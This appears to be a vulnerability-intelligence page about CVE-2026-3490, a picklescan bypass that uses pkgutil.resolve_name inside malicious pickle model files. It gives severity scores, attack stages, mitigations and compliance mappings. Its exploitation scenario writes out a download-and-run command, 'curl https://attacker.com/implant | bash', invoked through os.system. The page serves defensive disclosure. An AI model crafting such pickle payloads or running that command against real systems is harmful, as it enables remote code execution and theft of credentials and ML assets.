CVE-2026-3490: picklescan blocklist bypass

Q: Is CVE-2026-3490 actively exploited?

No confirmed active exploitation of CVE-2026-3490 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-3490?

1) Upgrade picklescan to 1.0.4+ immediately—this is the only complete fix. 2) Re-scan all pickle files previously approved by picklescan < 1.0.4; pre-patch clean results cannot be trusted. 3) As durable defense-in-depth, migrate model serialization to safetensors—it is structurally immune to this class of attack. 4) For pipelines that must retain pickle, add pkgutil.resolve_name to custom blocklists in complementary tools (e.g., fickling) as an interim layer. 5) Audit model loading code paths for deserialization without post-patch picklescan validation and add process isolation (containers, seccomp) around any remaining pickle loads. 6) Alert on unexpected outbound connections from ML training/serving hosts as a detection signal for post-exploitation.

Q: What systems are affected by CVE-2026-3490?

This vulnerability affects the following AI/ML architecture patterns: model registries, model serving pipelines, training pipelines, MLOps platforms, data science workbenches.

Q: What is the CVSS score for CVE-2026-3490?

CVE-2026-3490 has a CVSS v3.1 base score of 10.0 (CRITICAL). The EPSS exploitation probability is 0.62%.

CISO Take

picklescan before 1.0.4 has a critical flaw where an attacker can use pkgutil.resolve_name to indirectly invoke any blocked dangerous function—os.system, builtins.exec, subprocess.call—through a standard pickle REDUCE opcode, completely nullifying the tool's security promise. This matters acutely because picklescan is the primary gate organizations use before loading pickle-serialized ML models; with this bypass, a malicious model file passes scanning with a clean bill of health, then executes arbitrary code the moment a data scientist or automated pipeline loads it. CVSS 10.0 with no authentication, no privileges, and no user interaction required means the bar to exploit is near zero once the bypass technique is public—and it now is. Upgrade to picklescan 1.0.4 immediately, treat all pickle files scanned by earlier versions as untrusted, re-scan with the patched tool, and strongly consider migrating model serialization to safetensors as a durable architectural fix.

Sources: NVD GitHub Advisory ATLAS VulnCheck

What is the risk?

Maximum severity (CVSS 10.0, scope changed, full CIA triad). The unique risk amplifier here is that picklescan IS the security control—organizations relying on it as a gate now have that control silently negated, creating a false sense of safety that is arguably worse than having no scanner at all. Exploitation requires no special setup beyond knowledge of pkgutil.resolve_name, which is fully public post-disclosure. The package has 68 other CVEs in its history, signaling an active vulnerability surface. No public exploit or KEV listing yet, but the trivial exploitation profile and high-value target (ML model loading pipelines) means weaponized payloads are likely imminent.

How does the attack unfold?

Artifact Crafting

Attacker builds a pickle file that uses the REDUCE opcode to call pkgutil.resolve_name and resolve a blocked function (os.system, builtins.exec) with attacker-controlled arguments, creating a model file that looks structurally valid.

AML.T0011.000

Scanner Evasion

The malicious pickle file is submitted to a model registry or pipeline gated by picklescan < 1.0.4; the scanner does not recognize pkgutil.resolve_name as dangerous and marks the artifact as safe.

AML.T0107

Code Execution on Load

An automated pipeline or user calls torch.load() or equivalent deserialization on the 'clean' model file; Python's pickle deserializer executes the REDUCE chain, invoking the attacker's chosen OS command.

AML.T0010.001

Infrastructure Compromise

Attacker achieves persistent RCE on ML infrastructure, enabling exfiltration of model weights, training data, cloud credentials, and lateral movement to adjacent systems.

AML.T0025

Artifact Crafting

Attacker builds a pickle file that uses the REDUCE opcode to call pkgutil.resolve_name and resolve a blocked function (os.system, builtins.exec) with attacker-controlled arguments, creating a model file that looks structurally valid.

AML.T0011.000

Scanner Evasion

The malicious pickle file is submitted to a model registry or pipeline gated by picklescan < 1.0.4; the scanner does not recognize pkgutil.resolve_name as dangerous and marks the artifact as safe.

AML.T0107

Code Execution on Load

An automated pipeline or user calls torch.load() or equivalent deserialization on the 'clean' model file; Python's pickle deserializer executes the REDUCE chain, invoking the attacker's chosen OS command.

AML.T0010.001

Infrastructure Compromise

Attacker achieves persistent RCE on ML infrastructure, enabling exfiltration of model weights, training data, cloud credentials, and lateral movement to adjacent systems.

AML.T0025

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
picklescan	pip	—	No patch
420 3 dependents Pushed 9d ago 53% patched ~12d to patch Full package profile →

Do you use picklescan? You're affected.

How severe is it?

CVSS 3.1

10.0 / 10

EPSS

0.6%

chance of exploitation in 30 days

Higher than 46% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Changed

C High

I High

A High

What should I do?

1 step

1) Upgrade picklescan to 1.0.4+ immediately—this is the only complete fix. 2) Re-scan all pickle files previously approved by picklescan < 1.0.4; pre-patch clean results cannot be trusted. 3) As durable defense-in-depth, migrate model serialization to safetensors—it is structurally immune to this class of attack. 4) For pipelines that must retain pickle, add pkgutil.resolve_name to custom blocklists in complementary tools (e.g., fickling) as an interim layer. 5) Audit model loading code paths for deserialization without post-patch picklescan validation and add process isolation (containers, seccomp) around any remaining pickle loads. 6) Alert on unexpected outbound connections from ML training/serving hosts as a detection signal for post-exploitation.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Supply Chain Code Execution Model Framework AML.T0010.001 - AI Software AML.T0011.000 - Unsafe AI Artifacts AML.T0018.002 - Embed Malware AML.T0049 - Exploit Public-Facing Application AML.T0107 - Exploitation for Defense Evasion

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.8.3 - AI system supply chain

NIST AI RMF

MANAGE 2.2 - Mechanisms to sustain response to identified AI risks

OWASP LLM Top 10

LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-3490?

picklescan before 1.0.4 has a critical flaw where an attacker can use pkgutil.resolve_name to indirectly invoke any blocked dangerous function—os.system, builtins.exec, subprocess.call—through a standard pickle REDUCE opcode, completely nullifying the tool's security promise. This matters acutely because picklescan is the primary gate organizations use before loading pickle-serialized ML models; with this bypass, a malicious model file passes scanning with a clean bill of health, then executes arbitrary code the moment a data scientist or automated pipeline loads it. CVSS 10.0 with no authentication, no privileges, and no user interaction required means the bar to exploit is near zero once the bypass technique is public—and it now is. Upgrade to picklescan 1.0.4 immediately, treat all pickle files scanned by earlier versions as untrusted, re-scan with the patched tool, and strongly consider migrating model serialization to safetensors as a durable architectural fix.

Is CVE-2026-3490 actively exploited?

No confirmed active exploitation of CVE-2026-3490 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-3490?

1) Upgrade picklescan to 1.0.4+ immediately—this is the only complete fix. 2) Re-scan all pickle files previously approved by picklescan < 1.0.4; pre-patch clean results cannot be trusted. 3) As durable defense-in-depth, migrate model serialization to safetensors—it is structurally immune to this class of attack. 4) For pipelines that must retain pickle, add pkgutil.resolve_name to custom blocklists in complementary tools (e.g., fickling) as an interim layer. 5) Audit model loading code paths for deserialization without post-patch picklescan validation and add process isolation (containers, seccomp) around any remaining pickle loads. 6) Alert on unexpected outbound connections from ML training/serving hosts as a detection signal for post-exploitation.

What systems are affected by CVE-2026-3490?

This vulnerability affects the following AI/ML architecture patterns: model registries, model serving pipelines, training pipelines, MLOps platforms, data science workbenches.

What is the CVSS score for CVE-2026-3490?

CVE-2026-3490 has a CVSS v3.1 base score of 10.0 (CRITICAL). The EPSS exploitation probability is 0.62%.

What is the AI security impact?

Affected AI Architectures

model registriesmodel serving pipelinestraining pipelinesMLOps platformsdata science workbenches

MITRE ATLAS Techniques

AML.T0010.001 AI Software

AML.T0011.000 Unsafe AI Artifacts

AML.T0018.002 Embed Malware

AML.T0049 Exploit Public-Facing Application

AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.8.3

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

picklescan before 1.0.4 fails to block pkgutil.resolve_name, allowing attackers to bypass the entire blocklist by resolving any dangerous function through indirect REDUCE calls. Remote attackers can invoke any blocked function such as os.system, builtins.exec, or subprocess.call to achieve remote code execution.

Exploitation Scenario

An attacker targets an organization's internal model hub or HuggingFace-style registry. They craft a PyTorch-format pickle file that uses the REDUCE opcode to call pkgutil.resolve_name('os.system') and pass it 'curl https://attacker.com/implant | bash' as argument. The file looks like a legitimate fine-tuned model. The attacker submits it via the public upload endpoint. picklescan < 1.0.4 scans it, finds no recognized blocked function, and marks it clean. An automated MLOps pipeline or a data scientist runs torch.load() on the 'validated' model. The pickle deserializer executes the REDUCE chain, spawning a shell that downloads and runs the attacker's implant. The attacker now has code execution inside the ML infrastructure—with access to training data, model weights, GPU compute, cloud credentials from environment variables, and a pivot point to adjacent systems.

Weaknesses (CWE)

CWE-183 Permissive List of Allowed Inputs Primary CWE-183 Permissive List of Allowed Inputs

CWE-183 — Permissive List of Allowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

Source: MITRE CWE corpus.